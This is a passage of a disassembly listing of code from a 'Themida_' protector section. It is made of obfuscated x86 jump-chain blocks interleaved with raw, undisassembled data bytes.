loc_560D67:				; CODE XREF: Themida_:0056FF10j
		mov	eax, 0
		add	eax, ebx
		push	1CEh
		mov	[esp], ecx
		mov	ecx, 0
		add	ecx, eax
		add	dword ptr [ecx], 1
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5719FE
; ---------------------------------------------------------------------------
		db 81h
		dd 3804246Ch, 81101146h, 4ECh, 242C8900h, 287DE952h, 0E3D00001h
		dd 8041CB80h, 0F3800BF3h, 5B9EE9FAh, 8F5E0000h,	248B2404h
		dd 24048F24h, 0C8B665Ch, 4EC8124h, 89000000h, 0EC832434h
		dd 0ADE95404h, 6600001Ah, 0B966515Ah, 81661B4Dh, 66A570E9h
		dd 0E959CF01h, 71CEh, 804CEB80h, 0C3805BC3h, 0C0B60F90h
		dd 0E98734FFh, 751Eh, 3F6E12B8h, 58C1890Ch, 7457E181h
		dd 0E1C16E76h, 0FFB85007h, 0E9FFFFFFh, 6DF3h, 34FFC188h
		dd 44ABE924h, 0C8B0000h, 4C48124h, 81000000h, 4ECh, 241C8900h
		dd 19B25250h, 0EA80D2F6h, 0E9D4888Ah, 0FFFFDDADh
; ---------------------------------------------------------------------------


loc_560E48:				; CODE XREF: Themida_:00564DA3j
		mov	ah, dl
		mov	bh, ah
		pop	eax
		mov	edx, [esp]
		jmp	loc_5729BF
; ---------------------------------------------------------------------------
		db 55h,	83h, 0ECh
		dd 24048904h, 4B8h, 58C58900h, 0B7E9E929h, 6800007Bh, 4410h
		dd 0BD242C89h, 70AE33ABh, 0B085E953h, 0C7800000h, 616866DAh
		dd 0C896628h, 37DBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560E8E:				; CODE XREF: Themida_:00568C58j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_560E99:				; CODE XREF: Themida_:00560562j
					; Themida_:00563DF3j
		push	dword ptr [edi+24h]
		push	edx
		jmp	loc_5676EC
; ---------------------------------------------------------------------------


loc_560EA2:				; CODE XREF: Themida_:0056FB0Fj
		mov	ebp, esi
		push	dword ptr [esp]
		jmp	loc_570243
; ---------------------------------------------------------------------------
		dd 0A4B15153h, 803AC980h, 0CF8888E9h, 81240C8Bh, 4C4h
		dd 8BF93000h, 75E9241Ch, 81000025h, 4EFh, 243C8700h, 243C895Ch
		dd 293AE8BFh, 0FFFE2928h, 815F2434h, 4C4h, 0DC38100h, 813DEC32h
		dd 5630BCEBh, 81F3014Ch, 5630BCC3h, 0ECBE564Ch,	8173D126h
		dd 25576CC6h, 8FE94E69h, 29000123h, 0E9582404h,	25Ch, 0D6F7F187h
		dd 0CE87F187h, 5CF3F681h, 0BF571F16h, 0BAECCE38h, 3C8BFE31h
		dd 4C48324h, 1EB7BD55h,	0EA017EF6h, 0C523E9h, 0F1F18100h
		dd 1EC59E7h, 595559CDh,	5D2434FFh, 0CE83E9h, 16F38100h
		dd 81006679h, 8013BCC1h, 81D90107h, 8013BCE9h, 241C8B07h
		dd 5004C483h, 0A1B4E9h,	24348900h, 5B3096BEh, 8BF1211Ah
		dd 0C4832434h, 0ECF3E904h, 82BB0000h, 81447D18h, 0F57699C3h
		db 4Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56D55F
; ---------------------------------------------------------------------------
		db 68h,	0FCh, 69h
		dd 6EE90000h, 0AD00009Bh, 4EC81h, 0C890000h, 6AAFB924h
		dd 0C8297895h, 315CE9h,	24348B00h, 502AE9h, 0E0B95100h
		dd 5761C206h, 8E45D7BFh, 5FF92142h, 860DE9h, 40478F00h
		dd 0FFDAF0E9h, 81E289FFh, 4C2h,	4EA8100h, 87000000h, 895C2414h
		dd 0D8E9241Ch, 540000B2h, 2EBE565Ah, 0E938E86Bh, 1095h
		dd 242C8156h, 43A46412h, 12C7815Fh, 5E43A464h, 4247C29h
		dd 24048B5Fh, 10D0CE9h,	2BB5300h, 89000000h, 0E2E95BDFh
		dd 5B000054h, 5F5FFA01h, 0FF1C5709h, 148B2434h,	4C48324h
		dd 0F556E950h, 535FFFFFh, 0DE66E9h
		db 0
; ---------------------------------------------------------------------------


loc_561051:				; CODE XREF: Themida_:005684C2j
		xor	cl, 0A3h
		xor	cl, 0C9h
		or	dh, cl
		pop	ecx
		xor	dh, 0E9h
		sub	bl, 0B4h
		sub	bl, dh
		add	bl, 0B4h
		mov	edx, [esp]
		add	esp, 4
		sub	bl, 4Ch
		jmp	loc_56C1B0
; ---------------------------------------------------------------------------
		db 81h
		dd 0D925E2EBh, 0F827E95Bh, 0D2B8FFFFh, 50AB32Fh, 4FA4DDC3h
		dd 69E0E950h, 8B660000h, 89512404h, 4BF57E1h, 81000000h
		dd 0FE0286C1h, 81F90158h, 0FE0286E9h, 0BDE95F58h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5610AF:				; CODE XREF: Themida_:005706A7j
		add	edi, 6BFE12EAh
		sub	edi, esi
		jmp	loc_567954
; ---------------------------------------------------------------------------
		dd 4664BB53h, 0EBC152F8h, 77336807h, 2C890000h,	37FABD24h
		dd 0E5816DA1h, 10B30DCDh, 0F405E9h, 24148900h, 0EC81E289h
		dd 4, 0E9240489h, 7179h, 1BBh, 5BDF2900h, 5603EFC1h, 5333A8BEh
		dd 0E9F7210Fh, 0E40Ch, 0E9240C8Bh, 8407h, 0EE81DE01h, 29EC4D11h
		dd 6449E9h, 809DB100h, 0E95306C1h, 0FFFFDDAEh, 2847045Ah
		dd 4472CD0h, 1ECFE9BDh,	0C9680001h, 89000035h, 0ECE92414h
		dd 810000BBh, 89CC47EAh, 8BD701E4h, 0C4832414h,	8DF78104h
		dd 816EEB95h, 3506DCC6h, 81FE010Bh, 3506DCEEh, 243C8B0Bh
		dd 0E3CBE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56116E:				; CODE XREF: Themida_:0056FE89j
		pop	edx
		jmp	loc_56ACBF
; ---------------------------------------------------------------------------
		dd 28CEEC35h, 0DEE981ECh, 29051C1Eh, 0DEC181C1h, 0FF051C1Eh
		dd 48B2434h, 5473E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561192:				; CODE XREF: Themida_:00572A8Fj
		mov	edx, 50E0108Fh
		sub	edx, edi
		jmp	loc_56B971
; ---------------------------------------------------------------------------


loc_56119E:				; CODE XREF: Themida_:00571554j
		and	edi, 0BB3590Ah
		add	edi, 628E1F9Fh
		add	edi, 99DF8765h
		sub	edx, 1CE24E76h
		add	edx, 5AD947CAh
		add	edx, edi
		jmp	loc_56D84F
; ---------------------------------------------------------------------------


loc_5611C3:				; CODE XREF: Themida_:0056955Cj
		sub	ebx, 21C81442h
		jmp	loc_5705A3
; ---------------------------------------------------------------------------


loc_5611CE:				; CODE XREF: Themida_:00571CB2j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		push	35E7h
		mov	[esp], edi
		push	2A88h
		mov	[esp], eax
		push	3A352436h
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		jmp	loc_562348
; ---------------------------------------------------------------------------
		db 2 dup(0BEh),	34h
		dd 0C6813B21h, 12A5591Fh, 8F40C681h, 0F729B76Eh, 0E7C15D5Eh
		dd 50D7F705h, 4F5182B8h, 3E0C17Fh, 52BAE9h, 5EF08900h
		dd 0E958C689h, 38ADh, 7845EB81h, 0C3814505h, 4DE05FFAh
		dd 2AE9D801h, 51000031h, 0F5861EB5h, 0F530D6F6h, 0F530EE30h
		dd 0B753D5F6h, 5BFD30DEh, 0E580C5FEh, 0BA75E9B7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56126A:				; CODE XREF: Themida_:00563678j
		push	ebx
		mov	ebx, 7F4C3518h
		jmp	loc_56ADD6
; ---------------------------------------------------------------------------
		db 0BFh, 0D1h, 23h
		dd 0EFC10C66h, 24C78106h, 0E9AEE94Bh, 0FFFFE235h, 4C42B951h
		dd 24E907E5h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561293:				; CODE XREF: Themida_:0056770Bj
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_563F26
; ---------------------------------------------------------------------------


loc_5612A2:				; CODE XREF: Themida_:005602E8j
		sub	bx, 5BB3h
		mov	cx, [esp]
		add	esp, 2
		xor	ax, bx
		pop	ebx
		sub	esp, 2
		mov	[esp], cx
		push	small 2BE0h
		mov	cx, [esp]
		jmp	loc_563CBA
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E156824h, 4890000h,	5585424h, 4, 0C0BBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5612E1:				; CODE XREF: Themida_:005682FBj
		push	edi
		jmp	loc_56E690
; ---------------------------------------------------------------------------
		db 81h
		dd 0F03363C5h, 0ECC58169h, 290377A4h, 8368E9EBh, 66640000h
		dd 6602B60Fh, 66631868h, 0E9240489h, 0FFFFD7C5h, 0E4E95150h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561313:				; CODE XREF: Themida_:0057096Bj
		dec	edx
		dec	edx
		xor	edx, 23CE57FBh
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56DC6E
; ---------------------------------------------------------------------------


loc_56132B:				; CODE XREF: Themida_:005628EBj
		mov	ebp, 31C649ECh
		xor	ebp, 0D73101EDh
		sub	edx, ebp
		pop	ebp
		jmp	loc_572A78
; ---------------------------------------------------------------------------
aIssr5		db '䇎R5',0
		dd 0ABBA5200h, 295890D2h, 0C2E95AD3h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561353:				; CODE XREF: Themida_:00564B53j
		add	esi, edi
		jmp	loc_562052
; ---------------------------------------------------------------------------
		dw 685Dh
		dd 19D4h, 3A74E9h, 0C6885900h, 0C0BAE958h, 0ED810000h
		dd 229D5FCEh, 41A0C581h, 0E2E91DA3h, 33000084h,	0C31240Ch
		dd 240C3324h, 4EC815Ch,	89000000h, 0EE9243Ch, 56000114h
		dd 9D302D68h, 0C0E95E2Bh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5613A3:				; CODE XREF: Themida_:00566261j
		mov	ah, 19h
		xor	ah, ch
		pop	ecx
		sub	ah, dl
		pop	edx
		jmp	loc_564D8C
; ---------------------------------------------------------------------------
		dd 71685056h, 8B2C7457h, 0C4832404h, 2ABE5604h,	0C167B44Bh
		dd 4E907E6h, 80000022h,	0E950DAEAh, 0C90Bh, 4C4815Bh, 50000000h
		dd 0B2A3E9h, 8FEA8100h,	0E9ED65D0h, 0DF79h
; ---------------------------------------------------------------------------


loc_5613EC:				; CODE XREF: Themida_:00573876j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xchg	ebx, [esp]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_56442B
; ---------------------------------------------------------------------------
		db 59h,	51h, 0B5h
		dd 0DEF5802Ah, 5B59EC28h, 0D6BE9h
		db 0
; ---------------------------------------------------------------------------


loc_561425:				; CODE XREF: Themida_:0056DB76j
		add	eax, 746D001Eh
		xor	eax, 0A83E5CBFh
		mov	ebp, eax
		pop	eax
		not	ebp
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		and	ebp, 31261546h
		push	esi
		mov	esi, 340B39A4h
		shr	esi, 3
		not	esi
		neg	esi
		jmp	loc_56695B
; ---------------------------------------------------------------------------
		db 2Dh,	0Ch, 79h
aSV_0		db ')-^é,v',0
		align 4


loc_56145C:				; CODE XREF: Themida_:00570025j
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_56678C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54572404h, 1940E95Fh, 248B0001h, 0D64FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561482:				; CODE XREF: Themida_:0056E68Bj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_565CD6
; ---------------------------------------------------------------------------
		dw 0E72Dh
		dd 29C3B4E1h, 0F184E9C3h, 0C101FFFFh, 0E924048Bh, 0C5B6h
; ---------------------------------------------------------------------------


loc_5614A4:				; CODE XREF: Themida_:00566787j
		mov	esp, [esp]
		jmp	loc_56CDF7
; ---------------------------------------------------------------------------
		dd 24AAB050h, 0F696E9D1h, 8F5CFFFFh, 8F5C2404h,	248B2404h
		dd 24042124h, 0D607E99Ch, 0C8BFFFFh, 374DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5614D2:				; CODE XREF: Themida_:0056A728j
		sub	esp, 4
		jmp	loc_566A27
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db '$h(^',0
		align 2
		dw 1C89h
		dd 4EC8124h, 68000000h,	190Fh, 57242489h, 4BFh,	246C8100h
		dd 0F3173C04h, 247C0150h, 24448104h, 0F3173C04h, 243C8B50h
		dd 8F04C483h, 4832404h,	685B0424h, 1BDFh, 0BD242C89h, 537F2CF2h
		dd 1ED81h, 53450000h, 94A5E9h, 24348B00h, 6326E9h, 0E9D48600h
		dd 0FFFFDC98h, 4C481h, 0EC830000h, 1C896602h, 53665024h
		dd 0C3FEEBB3h, 23BE9h, 0FFDA0100h, 69E92434h, 0ACFFFFFEh
		dd 2C85B652h, 4F028B4h,	0E526E9B4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56157A:				; CODE XREF: Themida_:0056FDB8j
		pop	ecx
		push	edx
		jmp	loc_56C5B0
; ---------------------------------------------------------------------------
		db 68h,	0FAh, 1Eh
		dd 0C890000h, 0E3EBE924h, 0C231FFFFh, 8BD00158h, 89532414h
		dd 0B46E9E3h, 0FE890001h, 83243C8Bh, 0F58904C4h, 24148B5Eh
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 54E92434h, 0D10000FBh
		dd 5010E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5615CA:				; CODE XREF: Themida_:0056F30Fj
		add	[eax], ecx
		mov	eax, [esp]
		push	edi
		jmp	loc_571BB4
; ---------------------------------------------------------------------------


loc_5615D5:				; CODE XREF: Themida_:00572D82j
		push	ecx
		mov	ecx, 108E287Fh
		sub	ecx, 1
		push	eax
		push	esi
		push	6B803AA6h
		pop	esi
		jmp	loc_5647DC
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 40EB0424h, 4401551Fh, 0E9530424h, 0C8B4h, 4EC81h, 0C890000h
		dd 0C019B124h, 0E1C008E1h, 4DC98004h, 5305E9C0h, 62E96FB7h
		dd 31000119h, 4332404h,	24248B24h, 24042966h, 0D49FE99Ch
		dd 0C681FFFFh, 4, 1609BD55h, 0ED814CAFh, 4CAF1605h, 875DEE01h
		dd 8F5C2434h, 248B2404h, 1145E924h, 0E6200001h,	6F53E9h
		dd 242C3300h, 0FFCB315Ch, 0C8B2434h, 3778E924h,	1C8B0000h
		dd 4C48324h, 0DEE95355h, 8B000068h, 0C483242Ch,	36A36804h
		dd 14890000h, 2474FF24h, 2434FF04h, 0DDE1E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561696:				; CODE XREF: Themida_:0056FDA0j
		mov	[esp], eax
		mov	eax, 4
		add	ebp, 78616AC6h
		add	ebp, eax
		sub	ebp, 78616AC6h
		jmp	loc_56FEF6
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 5
		dd 0C67CB951h, 0CA291201h, 0DEECE959h, 665B0000h, 4EC8152h
		dd 0E9000000h, 5AC1h, 0D8E9C829h, 890000A6h, 11B22414h
		dd 0B35AD088h, 58C32812h, 9755E9h
		db 0
; ---------------------------------------------------------------------------


loc_5616E9:				; CODE XREF: Themida_:00563886j
		mov	edx, 26F123Bh
		add	edi, edx
		pop	edx
		jmp	loc_56AD3E
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 5359C801h, 2BBh, 186E2D00h, 0D8016E29h, 29186E05h
		dd 241C8B6Eh, 0E904C483h, 54ECh, 0B60F66h, 68E16866h, 24048966h
		dd 6ACCE9h, 2FC18000h, 0C7B0E9h, 35653500h, 0C08353FEh
		dd 970540FFh, 0E9B02441h, 0FFFFDE28h
; ---------------------------------------------------------------------------


loc_561748:				; CODE XREF: Themida_:00571E54j
		push	4D2Fh
		mov	[esp], eax
		pop	dword ptr [edi+24h]
		jmp	loc_56D12C
; ---------------------------------------------------------------------------
		dd 34FFF328h, 24148B24h, 3EDAE9h
		db 0
; ---------------------------------------------------------------------------


loc_561765:				; CODE XREF: Themida_:0056B47Aj
		pop	ebp
		jmp	loc_56AB50
; ---------------------------------------------------------------------------


loc_56176B:				; CODE XREF: Themida_:0057127Aj
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dd 0E95BF800h, 728Bh, 0FD24A4BAh, 0E9D30111h, 127A1h, 298868h
		dd 5810E900h, 2C310000h, 444DE924h, 0E9AD0000h,	0FFFFDED5h
		dd 8841C380h, 0F65B66D8h, 0E9372CD8h, 4E19h, 31242C33h
		dd 0B6E9242Ch, 87000087h, 5E92434h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5617BF:				; CODE XREF: Themida_:0056CA47j
		add	eax, [ecx]
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_569AD3
; ---------------------------------------------------------------------------


loc_5617CB:				; CODE XREF: Themida_:005676B1j
		sub	esi, ebx
		pop	ebx
		pop	ebx
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 6380E9h, 81C70100h, 0D665BEFh, 24048B19h, 8104C483h
		dd 4C7h, 77E95700h, 83000029h, 0C28104C4h, 212037DAh, 7BB85057h
		dd 898AE0B2h, 83A4E9C7h, 0B9510000h, 18BE7EBEh,	8104E9C1h
		dd 248ACCE9h, 59CE01A8h, 5A685259h, 0E9182361h,	184Fh
		dd 754B2D66h, 243C8B66h, 1411E9h, 2434FF00h, 8324048Bh
		dd 0D66804C4h, 0E900005Dh, 0F9C9h, 0DA31D331h, 7EE9D387h
		dd 52FFFFD8h, 24148B59h, 0E904EC83h, 37ACh, 2C1835Ah, 95FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56187D:				; CODE XREF: Themida_:0056E774j
		sub	eax, ebx
		sub	eax, 768715C8h
		jmp	loc_5687D3
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 4Ch
		dd 59E9C328h, 50FFFFF5h, 0E688FC88h, 2685B58h, 8900007Ah
		dd 0C0B5240Ch, 0C580EDD0h, 140466h, 5D3DE9E8h, 0CB890000h
		dd 0E446E9h, 24440100h,	246C8104h, 0D00CA404h, 959DE91Ah
		dd 0CFFE0000h, 80A6EF80h, 0FE00ECF7h, 0E9F3285Bh, 0FFFFDC6Ah
		dd 34FF5A58h, 0F2E95B24h, 54000025h, 592434FFh,	0C72CE9h
		dd 0E9E58900h, 42B2h, 4B8h, 58C12900h, 5C240C87h, 10B25E9h
		dd 240C8B00h, 4C481h, 34FF0000h, 0B7CAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56191A:				; CODE XREF: Themida_:0056DE05j
		mov	ebp, esp
		jmp	loc_570999
; ---------------------------------------------------------------------------


loc_561921:				; CODE XREF: Themida_:0056245Aj
		pop	edi
		not	ebp
		dec	ebp
		inc	ebp
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		push	647F0C6Ah
		pop	edi
		inc	edi
		jmp	loc_5714B2
; ---------------------------------------------------------------------------
		dw 0E688h
		dd 8124048Bh, 4C4h, 9BE95B00h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561953:				; CODE XREF: Themida_:0056829Cj
		mov	edx, [esp]
		add	esp, 4
		not	ebx
		jmp	loc_561A96
; ---------------------------------------------------------------------------
		db 4Fh
		dd 0BBE5655h, 81522659h, 45181DF6h, 2D5DE930h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561976:				; CODE XREF: Themida_:0056882Fj
		sub	dword ptr [esp+4], 3D632A1Ah
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_563620
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 313Eh, 0D31FE95Ah, 3DBAFFFFh, 81513C46h
		dd 2417A4F2h, 5AD0296Ah, 0BE56D801h, 33005107h,	0FF6EEE81h
		dd 0E9E9F7E7h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5619BB:				; CODE XREF: Themida_:00562574j
		add	eax, ecx
		pop	ecx
		jmp	loc_56E89A
; ---------------------------------------------------------------------------
		db 81h
		dd 0E2B064C6h, 5EF3291Ah, 34C8E9h, 10E95C00h, 8100003Eh
		dd 0CB37B1C7h, 0E9F829A5h, 0CE29h, 0E9242C87h, 0FFFFE2A5h
		dd 81240C8Bh, 4C4h, 0E2895200h,	3D4E9h,	0F3F28100h, 811CFB33h
		dd 0C5DDC6F2h, 18792D46h, 0AFE92FA3h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561A13:				; CODE XREF: Themida_:0056F360j
		shr	ebp, 8
		not	ebp
		jmp	loc_570A1E
; ---------------------------------------------------------------------------
		db 88h,	0C8h, 59h
		dd 8B66C328h, 0C4832404h, 2242E902h, 4BA0000h, 0E9000000h
		dd 0CA9Eh, 8704E983h, 248B240Ch, 24348924h, 0E02A25BEh
		dd 4EEC174h, 2A6F681h, 0F301074Eh, 1D10E95Eh, 0DEF70001h
		dd 1AF5EE81h, 45E94CC5h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561A67:				; CODE XREF: Themida_:00569757j
		add	ecx, 4
		jmp	loc_56EFF0
; ---------------------------------------------------------------------------
		dw 5452h
		dd 4C2815Ah, 51000000h,	5498E9h
		db 0
; ---------------------------------------------------------------------------


loc_561A81:				; CODE XREF: Themida_:005641E8j
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_563FE7
; ---------------------------------------------------------------------------


loc_561A96:				; CODE XREF: Themida_:0056195Ej
		push	ebp
		mov	ebp, 6ABA53D2h
		neg	ebp
		jmp	loc_56254A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38300h, 0C93FE9h, 815F5400h,	4C7h, 4C78300h
		dd 46F668h, 243C8900h, 6C77E9h
		db 0
; ---------------------------------------------------------------------------


loc_561AC9:				; CODE XREF: Themida_:005692B9j
		pop	ebx
		shl	ebx, 7
		push	4022h
		jmp	loc_562219
; ---------------------------------------------------------------------------
aZS4		db '‡,$éÎ4',0
		dw 100h
		dd 0C7835DEFh, 626CE904h, 57410000h, 86F9E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561AF2:				; CODE XREF: Themida_:0056CA25j
		add	ebp, 0F486D04h
		sub	ebp, 498464F9h
		mov	edx, [esp]
		push	3589h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5719FF
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5646CB
; ---------------------------------------------------------------------------
aEbadZs		db 'Eí„',1Bh,';Zé[Î',0
		align 2
aBC@Sqd		db 'Ïç@ì',0Bh,'éqd',0
		db 0
; ---------------------------------------------------------------------------


loc_561B51:				; CODE XREF: Themida_:0055EB70j
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_56BFF5
; ---------------------------------------------------------------------------
		db 58h
		dd 2474FF51h, 87C0E904h, 40000h, 78045A04h, 782CD828h
		dd 0A2E95A2Ch, 89FFFFECh, 4C381E3h, 83000000h, 1C8704C3h
		dd 0C7815C24h, 18C53FCDh, 0EF81F729h, 18C53FCDh, 37CEC781h
		dd 4CE95452h
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561B9F:				; CODE XREF: Themida_:0056F534j
		mov	[esp], edx
		sub	dword ptr [esp], 37974876h
		jmp	loc_5604B9
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 241C895Ch, 7F63E951h
		dd 0BD550000h, 6ED84904h, 0B92EE9h, 0F9B85000h,	29645658h
		dd 2434FFC5h, 0E0895058h, 405h,	4C08300h, 5C240487h, 5E43E981h
		dd 0E9816FBFh, 4E7A162Bh, 0C181E929h, 4E7A162Bh, 5E43C181h
		dd 2C8B6FBFh, 4C48124h,	83000000h, 3C8904ECh, 24136824h
		dd 2C890000h, 1C18E924h, 0C5810001h, 4,	4ED81h,	2C330000h
		dd 242C3124h, 0FFCFD7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561C3D:				; CODE XREF: Themida_:0056E6B4j
		xor	edi, esi
		xor	esi, edi
		jmp	loc_564DCE
; ---------------------------------------------------------------------------
		dw 5751h
		dd 3364D68h, 0E9475F5Ah, 0A97Fh
; ---------------------------------------------------------------------------


loc_561C54:				; CODE XREF: Themida_:0056FF2Dj
		add	ebp, 0E641D575h
		mov	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_56D5A3
; ---------------------------------------------------------------------------


loc_561C63:				; CODE XREF: Themida_:0056FCC5j
		push	ecx
		push	edi
		push	esi
		mov	esi, 4EE45719h
		mov	edi, esi
		pop	esi
		jmp	loc_56880B
; ---------------------------------------------------------------------------
		db 53h
		dd 0E83589BBh, 97F3812Dh, 8171291Dh, 7D206FEBh,	521CE9FDh
		dd 0DAF70000h, 4280E281h, 0EBE936CDh
		db 0F2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561C97:				; CODE XREF: Themida_:0056BA52j
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_56F739
; ---------------------------------------------------------------------------


loc_561CB2:				; CODE XREF: Themida_:00573368j
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_5687F1
; ---------------------------------------------------------------------------
		dd 7B88B850h, 0E0D14D36h, 4FBB5356h, 812CA34Bh,	0E31E6EEBh
		dd 2EF38163h, 0E9300B59h, 1B8Ah, 7EAC15Eh, 8103E2C1h, 0C46374EAh
		dd 5AD72904h, 31243C33h, 83E9243Ch, 0FF0000F2h,	148B2434h
		dd 4C48324h, 0D2A9E9h, 2474FF00h, 7FE95A04h, 81FFFFE0h
		dd 4C3h, 2EB8100h, 33000000h, 1C31241Ch, 241C3324h, 0AE75E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561D2A:				; CODE XREF: Themida_:00568D53j
		push	edi
		jmp	loc_5632C2
; ---------------------------------------------------------------------------


loc_561D30:				; CODE XREF: Themida_:005630E8j
		pop	esp
		push	eax
		mov	eax, 7DF747FCh
		xor	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_560BB8
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 8Bh
		dd 0EC81241Ch, 4, 89240C89h, 4C181E1h, 57000000h, 15E3B850h
		dd 4DE974C8h, 5300009Ah, 7D351FBBh, 0C4F38103h,	0E912F150h
		dd 1843h, 0D9E8E94Fh, 815DFFFFh, 4C7h, 74FF5700h, 8F5F0424h
		dd 248B2404h, 24048F24h, 0C8B70F5Ch, 73CEE9h, 243C8B00h
		dd 104C483h, 71732DD8h,	480535E5h, 8100E315h, 4ECh, 24148900h
		dd 1E1A7DBAh, 747F0536h, 0D0292357h, 57747F2Dh,	24148B23h
		dd 0EDD7E9h, 9CE95000h,	810000BBh, 0DD34FFE9h, 0E230E955h
		dd 0FF52FFFFh, 5A042474h, 111B5E9h, 0C8B65200h,	535AF408h
		dd 0FFD44EE9h, 242489FFh, 11CF8E9h, 0D830AC00h,	81E38953h
		dd 4C3h, 4EB8300h, 0FFF1E9h, 4C78100h, 83000000h, 3C3304C7h
		dd 243C3124h, 5C243C33h, 5AE9C1FEh, 81000053h, 0EA46BCE7h
		dd 0CF814F7Fh, 9497F2Ah, 232FEF81h, 0B8502DDDh,	5206538Ah
		dd 2E49390Dh, 80BE90Ah
		db 1, 0
; ---------------------------------------------------------------------------


loc_561E52:				; CODE XREF: Themida_:0056DA55j
		add	edx, 261A4B7Ch
		pop	edi
		jmp	loc_571C65
; ---------------------------------------------------------------------------


loc_561E5E:				; CODE XREF: Themida_:0056D860j
		sub	ebx, 4ED46F3Ch
		jmp	loc_56AB44
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 6A2D49BDh, 5DE93102h, 56FFE983h, 6B5C3DBEh, 0E3A8E902h
		dd 566FFFFh, 57664D4Bh,	6258BF66h, 0E9F82966h, 0FB2Dh
		dd 51243C89h, 4C37BD55h, 68B90635h, 29182859h, 0F1815DE9h
		dd 47103F2Ch, 0C4E18141h, 49024915h, 0B9B3E981h, 0CF89AF4Eh
		dd 0C0BA5259h, 8104D30Bh, 835F86E2h, 0F275E943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561ECE:				; CODE XREF: Themida_:0056D0ACj
		pop	edx
		jmp	loc_566260
; ---------------------------------------------------------------------------
		dd 2AFEEA81h, 0E957616Fh, 11949h, 890E2905h, 24148B25h
